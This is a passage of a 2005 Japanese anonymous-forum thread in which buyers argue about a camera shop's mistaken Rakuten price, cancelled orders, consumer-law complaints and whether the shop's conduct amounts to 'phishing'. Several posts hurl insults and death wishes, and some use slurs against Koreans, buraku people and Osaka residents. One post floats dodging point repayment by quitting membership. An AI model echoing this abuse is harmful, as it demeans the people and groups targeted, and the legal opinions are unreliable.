784 ：番組の途中ですが名無しです ：05/03/05 11:46:44 ID:7uKsiGec: おまえらは社会のクズ！死ねや
785 ：番組の途中ですが名無しです ：05/03/05 11:56:48 ID:r+LA24Ym: 24日に注文した人もポイント確定していないの？
786 ：番組の途中ですが名無しです ：05/03/05 12:00:34 ID:ao1RQkMJ: 出社したらまずPC立ち上げて2ちゃんに書き込みすることから仕事が始まる社員が何人もいるカメラ店が大阪方面にあるとききました
その店が不祥事を起したことについてのスレはここですか？
787 ：番組の途中ですが名無しです ：05/03/05 12:03:44 ID:vfhnzvOg: 「出社したらまずPC立ち上げて2ちゃんに書き込みすることから仕事が始まる社員が何人もいるカメラ店が大阪方面にあるとききました」
ww教えてあげましょう。「カメラのナニワ」って言うんですよ。
788 ：番組の途中ですが名無しです ：05/03/05 12:05:46 ID:7uKsiGec: (ﾟДﾟ)ﾊｧ?ばかじゃねーの
くだらんこと言ってないで早く裁判起こしてよｗ
789 ：番組の途中ですが名無しです ：05/03/05 12:12:15 ID:r+LA24Ym: いま特定商取引法について調べている、店舗運営責任者虚偽記載の疑いで告発できるかを検討中。
790 ：番組の途中ですが名無しです ：05/03/05 12:13:25 ID:7uKsiGec: >>789
無理だよバーカ
所詮お前等なんか何やっても無駄だからｗ
791 ：番組の途中ですが名無しです ：05/03/05 12:14:43 ID:MwEUwlIH: 裁判するなら勝手にしたら、という店があるというが、そういった対応は
客商売する人間としていかがなものかなと思うね。

契約の成立時期云々についての話になりつつあるが、俺らは単に
価格誤表記について不満を持っているわけじゃない。対応に大いに不満なんだ。

表示を信じて注文した。ところが価格表示は誤りだった。それはそれで仕方ないかもしれない。
しかしその後の対応は商道徳のかけらも見えない、二転三転するものだった。

法律は最低限の道徳だ、とはどこかのテレビ番組で誰かが言った言葉だと思うが。
ハニワさん、あんたんとこには商道徳はあるのか？胸はってあると応えられるか？
792 ：番組の途中ですが名無しです ：05/03/05 12:16:09 ID:r+LA24Ym: >>790
ハイハイ…、裁判に勝ったこともあるのでお前の喚く言葉なんでどうでもいいよ（笑）
http://www.meti.go.jp/policy/consumer/tokusho_amend.html
793 ：番組の途中ですが名無しです ：05/03/05 12:16:56 ID:7uKsiGec: >>791
お前等なんて客と思ってねーよｗ
客だと思うならゴネ厨なんてやめろよクズ
794 ：番組の途中ですが名無しです ：05/03/05 12:22:20 ID:sGYlvTWS: >>778
>請求書的内容を含む必要はない。つまり注文内容や合計金額、支払方法
>について記載は必要ない。でもそういう内容を含んでるんだよ。

それはあんまり関係ない気がする。
そこを攻めても時間の無駄だと思います。
795 ：番組の途中ですが名無しです ：05/03/05 12:25:11 ID:7uKsiGec: >>792
関係ない判例持ってきて何イキがってんの？
これだから高卒はいらねーんだよな
796 ：番組の途中ですが名無しです ：05/03/05 12:27:18 ID:vfhnzvOg: いちばんの問題は、フィッシング詐欺まがいのことをしたってことだよ。
このことに関して、ケジメをつけろよ、ナニワ。
こんなことをして、タダですむんなら、模倣犯はあとをたたんし、
警察はいらんのよ。
797 ：番組の途中ですが名無しです ：05/03/05 12:28:48 ID:GpebgFpE: 社員は何を考えているのやら・・・
自ら会社の印象が悪くなるような書き込みをして・・・
まぁ一部の人間なんだろうけど
798 ：番組の途中ですが名無しです ：05/03/05 12:29:13 ID:h0XTbK8K: 集団提訴するか？
一人1万円なら出すぞ！
500人も集まりゃOKだろう
799 ：番組の途中ですが名無しです ：05/03/05 12:29:26 ID:r+LA24Ym: http://www.meti.go.jp/policy/consumer/tokushoho/kaisei2004/tokusyohou041111.pdf
800 ：番組の途中ですが名無しです ：05/03/05 12:29:43 ID:7uKsiGec: >>796
フィッシング詐欺の証拠は？
低脳が脳内で妄想してんじゃねーよｗ
801 ：番組の途中ですが名無しです ：05/03/05 12:30:28 ID:r+LA24Ym: >>795
馬鹿だなぁ…、（嘲笑い）
802 ：番組の途中ですが名無しです ：05/03/05 12:30:51 ID:+6CKJdRd: 7uKsiGecは社員じゃ無いと思うよ
http://stick.newsplus.jp/id.cgi?bbs=news&word=7uKsiGec
お花畑に帰れ!!
803 ：番組の途中ですが名無しです ：05/03/05 12:32:17 ID:dwllMCMg: おまえら、もう諦めろ。
とりあえず、これ裁判やっても勝ち目無いから・・・・。
804 ：番組の途中ですが名無しです ：05/03/05 12:32:43 ID:h0XTbK8K: >>800
このような販売では虚偽の安価な価格表示で故意に客を釣って、他の物を売り抜けるという悪質な行為が可能
さらに個人情報も収集し放題ですね。（現にナニワは個人情報を破棄するとは言わない）
これがフィッシング詐欺もしくは詐欺まがいと言われる所以です。

事情がわからないのならレスしなければ？
805 ：番組の途中ですが名無しです ：05/03/05 12:32:46 ID:7uKsiGec: >>802
ストーカー予備軍ですか
キモすぎますねｗ
806 ：番組の途中ですが名無しです ：05/03/05 12:33:42 ID:vfhnzvOg: >>800
なに言ってんじゃ。今回のことで、
何千人の個人情報が集まったんじゃ?
それで、お目当ての品は売らんというだから、
タダで個人情報の集め放題になったわけやろ。
こんなうまい話はあるか?
807 ：番組の途中ですが名無しです ：05/03/05 12:34:25 ID:7uKsiGec: >>804
で？何で故意ってわかるんだよｗ
妄想やめれ
808 ：番組の途中ですが名無しです ：05/03/05 12:34:46 ID:r+LA24Ym: >>803
あんたも同じこと何回書き込んでんの？中根タン？
809 ：番組の途中ですが名無しです ：05/03/05 12:35:34 ID:MwEUwlIH: >>804

警察に相談しに言った人の報告にも合ったけど「フィッシング行為」と
言ったほうがいいと思う。

事業者を偽っていない点では詐欺じゃないので「フィッシング詐欺」とは
言いにくい。
810 ：番組の途中ですが名無しです ：05/03/05 12:36:33 ID:PCcAGP3E: 【イラク】米軍が伊軍を発砲し死亡させる【拉致】[1件]
207 : 名前:番組の途中ですが名無しです E-mail: 投稿日:05/03/05 10:42:46 ID:7uKsiGec
別にイタリア人が死んだってかまわないじゃん

--------------------------------------------------------------------------------
パトカー追尾のDQN乗用車がトラックと衝突、女子高生死亡[2件]
15 : 名前:番組の途中ですが名無しです E-mail: 投稿日:05/03/05 11:44:11 ID:7uKsiGec
DQN女だろ？興味ねー

23 : 名前:番組の途中ですが名無しです E-mail: 投稿日:05/03/05 11:51:33 ID:7uKsiGec
>>19
氏んでよし
811 ：番組の途中ですが名無しです ：05/03/05 12:37:19 ID:vfhnzvOg: あたしは「フィッシング詐欺まがい」と言ってます。
812 ：番組の途中ですが名無しです ：05/03/05 12:37:54 ID:gBuwj8gX: >>806
安値に釣られて個人提供した奴がバカってことだな。
813 ：番組の途中ですが名無しです ：05/03/05 12:37:56 ID:PCcAGP3E: ヤフオクの業者が激しくウゼーんですけど[2件]
5 : 名前:番組の途中ですが名無しです E-mail: 投稿日:05/03/05 11:59:07 ID:7uKsiGec
>>1
おまえのID教えれ
はずかしいフィギアとか買ってんだろ？

10 : 名前:番組の途中ですが名無しです E-mail: 投稿日:05/03/05 12:03:54 ID:7uKsiGec
>>6
何コイツ！きもっ
814 ：番組の途中ですが名無しです ：05/03/05 12:39:33 ID:h0XTbK8K: ID:7uKsiGecはナニワ社員以下か～乙

現状ではナニワの行為はフィッシング詐欺「まがい」としか言えないだろうね
しかし、個人情報を破棄しないというナニワの意思が表示されている以上
フィッシング詐欺の疑いは濃厚
815 ：番組の途中ですが名無しです ：05/03/05 12:42:23 ID:PCcAGP3E: 検索した結果：
7uKsiGecﾀﾝは他のスレではとことん無視されてましたが
このスレではみんなが構ってくれて大喜びのようです。
816 ：番組の途中ですが名無しです ：05/03/05 12:42:32 ID:vfhnzvOg: >>812
9ﾏｿのものを0円で売るって言われたって、
本当の個人情報は、教えない。
ナニワは9ﾏｿのものを6ﾏｿで売ると言ったんだよ。
だから、質のいい個人情報を集められたのさ。
巧妙だと言ってもいい。
バカなナニワだから、故意にやったんではないだろうが、
これを真似するやつが出てくる。
だから、こんなことをしたら痛い目を見るというオトシマエをつけて
おいてもらわねばならないわけ。
ナニワ、切腹ぐらいしてもいいんじゃないか。
やれよ。
817 ：番組の途中ですが名無しです ：05/03/05 12:44:01 ID:7uKsiGec: >>816
ほいほい個人情報渡して危機管理能力ゼロですねｗ
818 ：番組の途中ですが名無しです ：05/03/05 12:44:40 ID:MwEUwlIH: うーん。
こちらもナニワの非を責める以上は細かいことだけど、
言葉には気をつけたほうがいいと思うんだ。

情報は財物で無いから盗むことには犯罪性はないんだ。現行法では。
フィッシング詐欺の詐欺とは、カード会社や販売事業者を偽って表示していた
ことを指すからフィッシング詐欺とは言えないんだよ。

だから、警察や弁護士に相談しに行った人は「フィッシング行為と言ったほうがいい」
とわざわざ書いてたんだな。細かいことにしつこく言いたくもないので、
これっきりにするけど。
819 ：番組の途中ですが名無しです ：05/03/05 12:46:06 ID:hEd+ANlC: おまえらの個人情報なんて糞みたいなもんだ
820 ：番組の途中ですが名無しです ：05/03/05 12:46:47 ID:h0XTbK8K: >>818
おっしゃる通り
しかし4月から個人除法保護法が施工されるこの時期に「あえて」行ったこの行為はより悪質であると考えられないか？
821 ：番組の途中ですが名無しです ：05/03/05 12:48:29 ID:vfhnzvOg: ちまちまやっとるからナニワになめられんだよ。
ナニワは悪い、悪いと大合唱すべきなんだよ。
クレカをはじめ、いろんな個人情報を抜き取られ、
へんな広告メールが毎日届くようになった、
お年寄りのカメラ好きの気持ちでも、考えてみろよ。
くだらんことにこだわらずに、どんどんやれよ。
822 ：番組の途中ですが名無しです ：05/03/05 12:52:54 ID:ONDo66az: ゴネ厨ってさ、丸紅がｱﾌｫ対応して他が常識的な対応だってことがいつまでも分からないよね
いつまでたっても学習できないゴネ厨は猿以下の低脳揃いですか？w

こういうのことがあるたびに除いてたりしたが、回を重ねるごとに
批判・煽る香具師はすべて社員認定（特に今回は酷い）
ゴネ厨は叩かれないとでも思っているのか？　こいつらの精神構造は理解不能

と、丸紅PC使いながら書き込んでみるテストw

裁判？　やれよwww　とっととヤレ　で、負ける　m9（＾Д＾）ﾌﾟｷﾞｬｰ
負け犬ゴミ虫哀れなり
823 ：番組の途中ですが名無しです ：05/03/05 12:57:18 ID:vfhnzvOg: >>819
一眼を買いたい連中は、
けっこうなオタクで、趣味のためなら借金背負ってもいいってやつばかりなんだぞ。
こんなおいしい連中はないよ。
ヤフオクでも、一眼めぐって、とんでもない詐欺が横行しとる。
「一眼買いたくてウスウズしてる連中の名簿・・・純度90%・・・」と
くりゃあ、その手の業者はのどから手が出るほど欲しいだろうよ。
カモネギの名簿だものな。
こんなことを考えると、ナニワが、あながち故意じゃないととも、
言い切れんなと、思えてくるよ。
824 ：番組の途中ですが名無しです ：05/03/05 12:58:06 ID:dwllMCMg: おまいら、こんなところでネタ合戦やってる場合じゃないぞ！
楽店ポイント確定ｷﾀ━━━━（ﾟ∀ﾟ）━━━━!!!!!!
825 ：番組の途中ですが名無しです ：05/03/05 12:58:48 ID:B2dlJuAY: 欲しいんなら\99,540-で買えよ貧乏人ｗ
826 ：番組の途中ですが名無しです ：05/03/05 13:00:22 ID:+6CKJdRd: このまま放置されて、忘れた頃にカメラのなにわから
広告がダイレクトメールで送りつけられたら
ネ申認定してやるよ
827 ：番組の途中ですが名無しです ：05/03/05 13:01:26 ID:0MJU6X4M: >>824
使った後でも取り消せるポイントが確定したからどうだって言うんだ
828 ：番組の途中ですが名無しです ：05/03/05 13:01:29 ID:dwllMCMg: 漏れは２０台注文してあったんで11,360ポイントゲット
早速、キタムラにシグマの18-125mm注文しますた！
これでレンズゲットしてバックれる！
829 ：番組の途中ですが名無しです ：05/03/05 13:02:10 ID:B2dlJuAY: いつまで自分が客と思ってるんだよゴネ厨が
２ちゃん内でも最低のニュー速の中でもお前等は嫌われ者ｗｗｗ
830 ：番組の途中ですが名無しです ：05/03/05 13:03:25 ID:dwllMCMg: ボディは89,800円で地元のキタムラ行きだｗ
831 ：番組の途中ですが名無しです ：05/03/05 13:04:42 ID:MwEUwlIH: 俺は予算の関係上ist DS検討中だ。

ナニワでは絶対買わないけどな。
832 ：番組の途中ですが名無しです ：05/03/05 13:07:23 ID:dwllMCMg: とりあえず、予算1万以上浮いたからよしとするわ。
シグマの18-125とキスドンで11万なら安い方だろう
833 ：番組の途中ですが名無しです ：05/03/05 13:09:48 ID:hkDfKVR8: >>832
うらやま鹿！
834 ：番組の途中ですが名無しです ：05/03/05 13:10:15 ID:0MJU6X4M: >>832
第９条（ポイント利用後のポイントの取り消し）

１．会員がポイントを第６条による決済に利用した後に、第5条第1項または第2項によりポイントが取り消された場合は、
当該決済の対象となる取引（以下「ポイント利用取引」という）が取消または保留されることがあります。
会員は、ポイント利用取引が実行済みである場合または実行しようとする場合には、ポイント取消による不足額を、
ただちに現金または当社の指定する支払方法にて当社に支払うものとします。

２．会員がポイントを第７条による特典の交換に利用した後に、前項のポイントの取り消しがあった場合は、特典の申込は取り消されます。
会員は、すでに特典を受領している場合には、ただちに当社に対し特典の返還または特典に相当する金額の支払いを行うものとします。

請求ｵﾒ
835 ：番組の途中ですが名無しです ：05/03/05 13:12:48 ID:vfhnzvOg: 　　　　　　　_＿＿___________ 　　　
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836 ：番組の途中ですが名無しです ：05/03/05 13:14:37 ID:1QbkxOyB: ｵﾅｶｽｲﾀ┌| ∵|┘ﾊﾆｬｧｰ
837 ：番組の途中ですが名無しです ：05/03/05 13:14:46 ID:vfhnzvOg: ↑これ、一度やりたかったんだよな。うれしー。今日はなにかいいことがあるかな。
838 ：番組の途中ですが名無しです ：05/03/05 13:18:30 ID:VsE+k1jK: 久しぶりにこのスレきたけど何か進展あった？
839 ：番組の途中ですが名無しです ：05/03/05 13:18:59 ID:Xn0F+L5v: 1回目のメールに「ご予約のキャンセル処理・・・」と書いてあるが、
予約は成立しているが、取り消したいという意味にとれる。
840 ：番組の途中ですが名無しです ：05/03/05 13:22:37 ID:i6oyq62u: ナニワがキャンセル処理してない、ポイント確定したって事は
販売する意思があると取られても仕方が無いよな。
841 ：番組の途中ですが名無しです ：05/03/05 13:23:31 ID:+O4kXmJp: 脳内妄想乙
842 ：番組の途中ですが名無しです ：05/03/05 13:25:18 ID:vfhnzvOg: おまいら、判例がなんだ、警察がなんだ、
どこぞで相談したらご意見がなんだと、
そんな細かいことにこだわらずに、
こんどのことは、
ナニワが絶対に悪い!!
という確信を持てよ。
そうすれば、もっと堂々とした行動ができるだろ。
843 ：番組の途中ですが名無しです ：05/03/05 13:27:25 ID:+O4kXmJp: 恥ずかしいから止めた方がいいよｗ
844 ：番組の途中ですが名無しです ：05/03/05 13:28:41 ID:vfhnzvOg: ナニワは、フィッシング詐欺のモデルを作ってしまったことに、
絶対に責任を取らなければならないし、
ナニワが、不安を感じている客の気持ちを、ずーーと放置したままでいるってことは、
人間として、絶対に間違っている。
845 ：番組の途中ですが名無しです ：05/03/05 13:30:57 ID:+O4kXmJp: >>844
だからお前等なんて客と思ってねーよｗ
何回言ったらわかるの僕
846 ：番組の途中ですが名無しです ：05/03/05 13:32:10 ID:vfhnzvOg: 客として言ってんじゃないよ。
人間として言ってんだよ。
わからんか?
847 ：番組の途中ですが名無しです ：05/03/05 13:32:52 ID:+O4kXmJp: >>846
ゴネ厨が何をいっても無駄
無駄無駄無駄ーｗ
848 ：番組の途中ですが名無しです ：05/03/05 13:35:13 ID:h0XTbK8K: 香ばしい香りがしてまいりました
849 ：番組の途中ですが名無しです ：05/03/05 13:38:35 ID:+O4kXmJp: １＆５６０は威力業務妨害教唆として告訴したほうがいいなｗ
850 ：番組の途中ですが名無しです ：05/03/05 13:43:59 ID:r+LA24Ym: ナニワは負けるな、っで特定商取引法違反の疑いも決着つくな。
851 ：番組の途中ですが名無しです ：05/03/05 13:45:52 ID:PcJHiD2M: ねぇねぇ、煽ってる人達はなんで「ｗ」を付ける人がほとんどなのー？
852 ：番組の途中ですが名無しです ：05/03/05 13:46:17 ID:hkDfKVR8: つーか、裁判やった方がいいと思うよ？
接客業だったら普通平謝りする状況なのに、ありえないぜ対応だぜ！？
それは向こうも入れ知恵されて喋れないんだろうから、それなりに負ける可能性があるんだと思う。
853 ：番組の途中ですが名無しです ：05/03/05 13:48:06 ID:sGYlvTWS: フィッシング行為というのは厳しいと思う。
過去２ちゃんねるで祭りになった価格誤標記の件を見てると毎回必ず個人情報の不正な取得手段等々言われてますが結果はその件は完全にスルーされています。
なのでナニワが実際に悪用をしない限り責任を問うのは難しいと思う。
世間的にもナニワは価格誤表記じゃなければ売る気で情報を入力させたと見なされるでしょうから悪意を持って入力させたというのは厳しいと思います。
ecomの見解でもこのような件は不正な取得にはならないと書かれていますし。

事業者側から注文をキャンセルする場合の注文者の個人情報の取り扱いについて（ネットショッピング紛争相談室の考え方）
http://www.ecom.jp/adr/ja/

それにecomが指摘しているように「個人情報の破棄＝買えない」になってしまうからこの点でも得策じゃないと思う。

やはり契約成立の部分を攻めるのが一番だと思います。
ecomの見解のように契約さえ成立していればナニワは錯誤無効は主張出来ないのですから。
契約不成立さえ崩せば勝ちだと思いますよ。
854 ：番組の途中ですが名無しです ：05/03/05 13:48:52 ID:7uKsiGec: もーウザイから早く裁判起こしてよ
口だけ厨は書き込み禁止な
855 ：番組の途中ですが名無しです ：05/03/05 13:48:54 ID:GARJiWBt: 一晩中ゴネて～♪　ゴネて～♪　ゴネて～♪　気がついたの～♪

(´-`).｡ｏＯ(こんなことするくらいならバイトして普通に買った方が早いじゃん･･･）
856 ：番組の途中ですが名無しです ：05/03/05 13:52:10 ID:r+LA24Ym: そうだよな、中根がバイトして買えばいい、っで発送と。
857 ：番組の途中ですが名無しです ：05/03/05 13:53:27 ID:3jD1MSlp: メディアラボの方も負けを認めたようだから、
おまえらも止めろや。
858 ：番組の途中ですが名無しです ：05/03/05 13:54:15 ID:pZ1oDMo+: >>851
お察しください
859 ：番組の途中ですが名無しです ：05/03/05 13:54:21 ID:7uKsiGec: 援軍が付きませんねーｗ
ゴネ厨脂肪ｗｗｗｗｗｗｗ
860 ：番組の途中ですが名無しです ：05/03/05 13:55:44 ID:r+LA24Ym: メディアラボはあり得ない価格、こちらはあり得る価格。
更に特定商取引違法の疑いなど、全然違うな。
861 ：番組の途中ですが名無しです ：05/03/05 13:57:10 ID:7uKsiGec: 何でそんなに必死なの？
欲しければヨドバシ・ビックにいけばいいじゃん
862 ：番組の途中ですが名無しです ：05/03/05 13:57:30 ID:vfhnzvOg: >>853
しかしそうしたら、もしだれかが、
サイトのどこかか、第一発送メールのどこかに、
契約不成立が合法的に可能になる文言をしこんでおいて、
その上で、人の集まる値段表示をして、
注文か殺到したあとで、契約不成立を告知したら、
なんのお咎めもなく、フィッシングができてしまうわけ?

カメラを売ってもらうことよりも、
フィッシング問題にきっちりけりをつけてもらうことのほうが重要だと思うな。
863 ：番組の途中ですが名無しです ：05/03/05 13:59:46 ID:7uKsiGec: >>862
そう思うんならお前が裁判起こせよ他力本願野郎
864 ：番組の途中ですが名無しです ：05/03/05 14:01:33 ID:r+LA24Ym: >>861
お前、ビックカメラなんて行ってるの？ｗ
865 ：番組の途中ですが名無しです ：05/03/05 14:02:01 ID:vfhnzvOg: そもそも、ナニワのフィシングの問題がなく、
またトラブル発生後に、迅速で的確で神経の行き届いた処理がされていたら、
この問題は、ああ人間にはよくある間違いですね、で、済んでいたはず
だっただろう。
ナニワにだって、ちょっとの打ち込みミスで、
何千万円もの損害を出させたんじゃ、一般社員にたいしても、
気の毒だと思うし、あんまり、カメラよこせよこせと、
言わないほうがいいんじゃないの。
866 ：番組の途中ですが名無しです ：05/03/05 14:02:52 ID:7uKsiGec: >>864
はいはい揚げ足取りごくろうさん
所詮ゴネ厨ストーカーや揚げ足取りしかできないみたいだな
867 ：番組の途中ですが名無しです ：05/03/05 14:05:39 ID:hkDfKVR8: ナニワって韓国企業なの？
868 ：番組の途中ですが名無しです ：05/03/05 14:06:14 ID:7uKsiGec: >>867
お前等が朝鮮人並だろうがｗ
869 ：番組の途中ですが名無しです ：05/03/05 14:07:31 ID:hkDfKVR8: >>868
はぁ？
870 ：番組の途中ですが名無しです ：05/03/05 14:08:28 ID:7uKsiGec: >>869
あーごめん
日本語理解できないんだったね
十円五十銭って言ってごらんｗ
871 ：番組の途中ですが名無しです ：05/03/05 14:09:40 ID:r+LA24Ym: >>870
>>870は昨日、自分が三国人って白状奴だろ？
872 ：番組の途中ですが名無しです ：05/03/05 14:09:50 ID:hkDfKVR8: >>870
部落民も大変ですね
873 ：番組の途中ですが名無しです ：05/03/05 14:11:38 ID:hkDfKVR8: 社長の息子の写真、なんかまともな日本人じゃなさそう。
874 ：番組の途中ですが名無しです ：05/03/05 14:11:56 ID:FBM+JHMs: 何だこの流れ
875 ：番組の途中ですが名無しです ：05/03/05 14:12:05 ID:vfhnzvOg: だから、いぢはんいい落し所は、
まず楽天にのりだしてもらって、
こんな形でのフィッシングはできないような、
機構をきっちり作ってもらうこと。
そして、ナニワには、
客の不安を放置し、不快感をあおった慰謝料として、
ケーキ券3000円をくばるとか、
そのあたりじゃないかな。
ちょっとのミスで、90000円のものを60000万円で売れ。
つまり慰謝料を30000万円払えってのは、
ヤクザな感じはのがれられないのでは。
876 ：番組の途中ですが名無しです ：05/03/05 14:12:05 ID:7uKsiGec: ゴネ厨は劣勢になると社員工作員韓国部落といいだすんですね（ ´,_ゝ｀）ﾌﾟｯ
877 ：番組の途中ですが名無しです ：05/03/05 14:13:53 ID:C24Zovl5: >90000円のものを60000万円
((((;ﾟДﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ
878 ：番組の途中ですが名無しです ：05/03/05 14:14:07 ID:hkDfKVR8: なんか社長って変わった名前してたよな
879 ：番組の途中ですが名無しです ：05/03/05 14:14:38 ID:r+LA24Ym: >>875
客のキャンセルは認めないようだから、こちらも認めないほうがいいぞ。
ケーキ券って何よ、せめて1万ポイントぐらいは払ってもらわないと。
レンズ購入した人や、旅行を予約した人はそれで納得する訳がない。
880 ：番組の途中ですが名無しです ：05/03/05 14:15:36 ID:7uKsiGec: >>879
レンズ購入したやつが本当にいるのかよ
証拠出せや
881 ：番組の途中ですが名無しです ：05/03/05 14:15:37 ID:vfhnzvOg: レンズ買った人、てほんとにいるの?
882 ：１＆５６０ ◆yohAYGjGLI ：05/03/05 14:16:02 ID:Zwwhe3/m: ようやく起きた俺がカキコですよ。
別に俺の立ち場なんてどうでもいいじゃない。

飯食ったら警察署行ってきます。
883 ：番組の途中ですが名無しです ：05/03/05 14:16:08 ID:hkDfKVR8: それにしても酷い会社だな。
884 ：番組の途中ですが名無しです ：05/03/05 14:17:26 ID:7uKsiGec: >>882
やっと威力業務妨害教唆で自首するんですね
ちゃんと更正してくださいね
885 ：番組の途中ですが名無しです ：05/03/05 14:18:26 ID:RO2i4Aye: なんか盛り上がってますね
886 ：番組の途中ですが名無しです ：05/03/05 14:19:27 ID:RO2i4Aye: >>884
「威力業務妨害教唆で自首」
真性馬鹿発見

もうちょっと知的な煽りお願いします
887 ：番組の途中ですが名無しです ：05/03/05 14:19:37 ID:hkDfKVR8: >>885
他のときと違って、熱いなにわ擁護派が常時2人ぐらいいますからね！
888 ：番組の途中ですが名無しです ：05/03/05 14:19:52 ID:r+LA24Ym: >>881
なんとか損害を抑えたい社員に見えるな。
それと原価は8万7千円以下で予約受け付けてた店があるようだから、卸値は8万5千円いかだろうと思う。
レンズは探すから待て。
889 ：番組の途中ですが名無しです ：05/03/05 14:19:56 ID:vKJBXg5V: IT関連

【新品】低価格・激安ノートパソコンを語ろーPart10
http://pc5.2ch.net/test/read.cgi/pc/1107165314/
光ファイバー・FTTHならどこ？3
http://pc5.2ch.net/test/read.cgi/isp/1109343135/

>1 乙！
890 ：１＆５６０ ◆yohAYGjGLI ：05/03/05 14:20:41 ID:Zwwhe3/m: 俺の購入履歴消えてないよ。

なんて言ってるか知らないけれどあぼーんされているから意味無し。
891 ：番組の途中ですが名無しです ：05/03/05 14:21:59 ID:r+LA24Ym: 原価じゃなくて卸値ね

トダカメラでは85,969円
アマゾンだとギフト券考えると8万3千円程度だっと思う。
892 ：番組の途中ですが名無しです ：05/03/05 14:22:00 ID:RO2i4Aye: >>887
なんのために擁護してるかっていうと
祭りに参加したいだけだろ

外から見てる人は面白いだろうな
当事者と煽りがごたごたごたごた
893 ：番組の途中ですが名無しです ：05/03/05 14:23:11 ID:RO2i4Aye: そう言えば┌| ∵|┘、アーク、ソフマップ以降価格ミスないの？
894 ：番組の途中ですが名無しです ：05/03/05 14:25:37 ID:7uKsiGec: お前等みたいな奴がチャリンカーとかに騙されるんだなｗ
895 ：番組の途中ですが名無しです ：05/03/05 14:26:36 ID:hEd+ANlC: レンズ買ったからってなんだっての？
法律持ち出してなんとかしたいならもう少し勉強すれば？
レンズ買ったからって屁の突っ張りにもならんですよ？
896 ：番組の途中ですが名無しです ：05/03/05 14:27:54 ID:hkDfKVR8: >>892
そうそう。
ついでに言うと、俺も買ってないんだよね・・・
897 ：番組の途中ですが名無しです ：05/03/05 14:30:38 ID:vfhnzvOg: 本日大量書き込みをしているわたしてすが、
わたしは、注文してます。一台だけです。
一眼がほしいカメラマニアです。はい。
898 ：番組の途中ですが名無しです ：05/03/05 14:31:28 ID:r+LA24Ym: KissDNのライバル機種であるニコンD70が現在キャッシュバック価格で
59,700円らしいから激安価格は十分あり得るな。
899 ：番組の途中ですが名無しです ：05/03/05 14:33:48 ID:MwEUwlIH: どっちゃにしろ、今回の件でハニワは信用を一気に落としてる。
注文した人は言うまでもなく、カメラ好きの人たちや同業他社の社員の耳にもは届いてる。

価格表示にミスがあったというだけなら「あーハニワもミスったのかー」で済むところだけど
対応や説明がころころ変わる始末や、電話では何一つ答えないという対応
（契約申込した人間が電話しても契約の成立には応えられないってなに？）
はしっかりと残るよ。
900 ：番組の途中ですが名無しです ：05/03/05 14:34:30 ID:DAe3Hh3M: 今ポイント確定してた
901 ：番組の途中ですが名無しです ：05/03/05 14:35:54 ID:dwllMCMg: しかし実際20台も買う羽目になったら逆に笑えるよ
漏れは無理と分かって注文してるからなｗ
902 ：番組の途中ですが名無しです ：05/03/05 14:36:08 ID:RO2i4Aye: >>895
法律は専門家にまかせるよ
自分たちのミスと対応の遅さのせいで、レンズやオプション勝った人を突っぱねるのは
商売人にはありえない行動だと思いますよ
さっさとメールしておけば買いに行く人もへったのに

>>896
参加したい人かｗ
俺はマジで安いと思って１台買った
まぁ間違いかなとも思ったが
こんな対応して売らないなんておかしいと思うよ

>>898
Ｄ７０そんなものか
買おうかな
903 ：番組の途中ですが名無しです ：05/03/05 14:36:22 ID:vfhnzvOg: >>899
あとは、これから少しでもまともな対応をして、
名誉回復を計るか、
それとも、このままジリ貧、破滅ーの道をひた走るか、
どちらかですな。
904 ：番組の途中ですが名無しです ：05/03/05 14:37:56 ID:pZ1oDMo+: ポイント568確定しちゃってるけど、これ使って問題ないの？
905 ：番組の途中ですが名無しです ：05/03/05 14:38:00 ID:RO2i4Aye: まぁ売っても売らなくてもナニワを許すことは無いけどね
最低の店です
やっぱり大阪の店ってこんなものかって思ってるよ
906 ：番組の途中ですが名無しです ：05/03/05 14:38:48 ID:r+LA24Ym: ログ削除してた。
>>898
この騒動が終局したらD70の購入検討中、キヤノンも被害者だな。
907 ：番組の途中ですが名無しです ：05/03/05 14:39:32 ID:hEd+ANlC: >>905
大阪って言葉で一括りにするおまえの人間性もこんなもんかって感じだがな
908 ：番組の途中ですが名無しです ：05/03/05 14:39:36 ID:DAe3Hh3M: ポイント確定したら、ややこしくなるのに何考えてるんだ
909 ：番組の途中ですが名無しです ：05/03/05 14:40:11 ID:vfhnzvOg: >>904
>>834-835を参照あれ
910 ：番組の途中ですが名無しです ：05/03/05 14:40:25 ID:r+LA24Ym: 価格com D70　書き込みハンパじゃないな
http://www.kakaku.com/prdsearch/detail.asp?PrdKey=00501610453
キャッシュバック詳細
http://www.nikon-image.com/jpn/event/campaign/d70_cashback/index.htm
911 ：番組の途中ですが名無しです ：05/03/05 14:40:55 ID:RO2i4Aye: >>904
問題ありＭＡＸ
912 ：番組の途中ですが名無しです ：05/03/05 14:40:56 ID:1vzEEo8A: >>908
売ることも選択肢の１つとして残してる可能性という希望的観測してみる。
913 ：番組の途中ですが名無しです ：05/03/05 14:41:15 ID:9GqOy6CE: >>907
いや、大阪に出張したことあるけどマジにモラルねーよ
さすが弥生人(朝鮮人)の子孫だわｗ
914 ：番組の途中ですが名無しです ：05/03/05 14:41:46 ID:pZ1oDMo+: >>909
なるほどTHX
915 ：番組の途中ですが名無しです ：05/03/05 14:41:58 ID:RO2i4Aye: >>907
ありがとう
916 ：番組の途中ですが名無しです ：05/03/05 14:43:03 ID:RO2i4Aye: 大阪はもちろん
なにわって言葉のイメージを悪くして大阪人にも恨まれるんじゃないの？

本当にやっちゃったな┌| ∵|┘
917 ：番組の途中ですが名無しです ：05/03/05 14:44:26 ID:r+LA24Ym: ポイント使って注文した後に楽天会員から退会すればいいんじゃないの？
918 ：番組の途中ですが名無しです ：05/03/05 14:46:02 ID:i6oyq62u: >>917が凄い事言った
919 ：番組の途中ですが名無しです ：05/03/05 14:46:30 ID:B2dlJuAY: フィッシング詐欺云々騒いでた奴らが詐欺を推奨ですか
ゴネ厨の本音が垣間見れましたｗ
920 ：番組の途中ですが名無しです ：05/03/05 14:47:27 ID:2wmF2Q1p: >>910
マジ買おうかな。大阪以外の店から。
もう大阪商人はこりごり。
921 ：番組の途中ですが名無しです ：05/03/05 14:47:40 ID:RO2i4Aye: >>917
請求されるだろ
法的に
知らんけど
普段ありえる事なのかな？
922 ：番組の途中ですが名無しです ：05/03/05 14:48:11 ID:b7g3sTk2: >>919
ああマジでゴネ厨は死んだ方がいいな
923 ：番組の途中ですが名無しです ：05/03/05 14:48:24 ID:1vzEEo8A: ハニワがブチ切れて全員に注文台数分売ったら面白いな、
１００台注文してポイントだけパクった香具師なんてマジでどうなるのか･･･
